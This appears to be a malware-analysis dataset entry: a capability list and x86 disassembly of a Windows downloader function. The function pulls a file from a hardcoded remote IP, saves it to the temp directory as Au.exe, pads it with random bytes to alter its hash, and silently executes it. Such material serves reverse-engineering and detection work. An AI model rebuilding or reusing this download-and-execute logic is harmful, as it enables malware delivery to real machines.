Function at 0x1000a42b
Capabilities:
Create process on windows
Delete file
Download and write a file
Download url
Get common file path
Get file size
Receive and write data from server to client
Receive data
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x1004341b
call fcn.10033d28
sub esp, 0x9bc
mov eax, dword [0x1005392c]
push ebx
push esi
mov dword [ebp - 0x10], eax
push edi
mov dword [ebp - 0x950], ecx
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x530], bl
mov ecx, 0xff
lea edi, [ebp - 0x52f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
mov byte [ebp - 0x130], bl
pop ecx
lea edi, [ebp - 0x12f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor esi, esi
lea eax, [ebp - 0x530]
push str.http:__60.217.234.138_d.dat
inc esi
push eax
mov dword [ebp - 4], esi
call fcn.10035050
pop ecx
pop ecx
mov ecx, dword [ebp - 0x950]
push 0x1004682c
lea eax, [ebp - 0x984]
push eax
call fcn.1000a2a0
cmp dword [eax + 0x18], 0x10
jb 0x1000a4b7
mov eax, dword [eax + 4]
jmp 0x1000a4ba
add eax, 4
push eax
lea eax, [ebp - 0x130]
push 0x10046828
push eax
call fcn.10034fea
add esp, 0xc
push ebx
push esi
lea ecx, [ebp - 0x984]
call fcn.1000151f
lea eax, [ebp - 0x530]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov edi, 0x80
push edi
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push ebx
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x530]
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x1000a797
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x130]
push ebx
push eax
call fcn.10035388
cmp eax, 0xffffffff
pop ecx
pop ecx
je 0x1000a797
lea eax, [ebp - 0x934]
push eax
push 0x3f5
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x934]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10001cde
lea ecx, [ebp - 0x94c]
mov byte [ebp - 4], 2
call fcn.10026c61
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x984]
mov byte [ebp - 4], 3
call fcn.10001cde
push 2
lea eax, [ebp - 0x984]
push eax
lea ecx, [ebp - 0x94c]
mov byte [ebp - 4], 4
call fcn.10027af9
neg al
sbb al, al
push ebx
inc al
push esi
lea ecx, [ebp - 0x984]
mov byte [ebp - 0x935], al
mov byte [ebp - 4], 3
call fcn.1000151f
cmp byte [ebp - 0x935], bl
lea ecx, [ebp - 0x94c]
jne 0x1000a784
lea eax, [ebp - 0x2c]
push eax
call fcn.10027dd2
test al, al
lea ecx, [ebp - 0x94c]
je 0x1000a784
call fcn.10026cc1
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._Au.exe
lea ecx, [ebp - 0x2c]
call fcn.10001bb8
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x1000a617
lea eax, [ebp - 0x28]
push ebx
push edi
push 3
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x93c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.1003411e
call fcn.1003412b
push 0x1e
cdq
pop ecx
idiv ecx
mov edi, edx
inc edi
shl edi, 0xc
push edi
call fcn.100329d5
cmp eax, ebx
pop ecx
pop ecx
mov dword [ebp - 0x944], eax
je 0x1000a6eb
cmp edi, ebx
mov dword [ebp - 0x940], ebx
jbe 0x1000a696
call fcn.1003412b
cdq
mov ecx, 0xff
idiv ecx
mov ecx, dword [ebp - 0x940]
inc dword [ebp - 0x940]
cmp dword [ebp - 0x940], edi
mov eax, dword [ebp - 0x944]
mov byte [ecx + eax], dl
jb 0x1000a66c
lea eax, [ebp - 0x954]
push eax
push dword [ebp - 0x93c]
mov dword [ebp - 0x954], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
push ebx
push eax
push dword [ebp - 0x93c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x958]
push eax
push edi
push dword [ebp - 0x944]
mov dword [ebp - 0x958], ebx
push dword [ebp - 0x93c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x944]
call fcn.10034992
pop ecx
push dword [ebp - 0x93c]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0x44
lea eax, [ebp - 0x9c8]
push ebx
push eax
call fcn.10033d50
push 0x10
lea eax, [ebp - 0x968]
push ebx
push eax
mov dword [ebp - 0x9c8], 0x44
call fcn.10033d50
mov eax, dword [ebp - 0x28]
add esp, 0x18
cmp dword [ebp - 0x14], 0x10
jae 0x1000a730
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x968]
push ecx
lea ecx, [ebp - 0x9c8]
push ecx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x968]
call edi
push dword [ebp - 0x964]
call edi
push 0xffffffffffffffff
push dword [ebp - 0x968]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x950]
push 0x10046800
call fcn.1000a11e
lea ecx, [ebp - 0x94c]
mov byte [ebp - 4], 2
call fcn.10026de8
push ebx
lea ecx, [ebp - 0x2c]
push esi
call fcn.1000151f
push ebx
lea ecx, [ebp + 8]
push esi
call fcn.1000151f
push ebx
lea ecx, [ebp + 0x24]
push esi
call fcn.1000151f
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.100341e0
leave
ret 0x38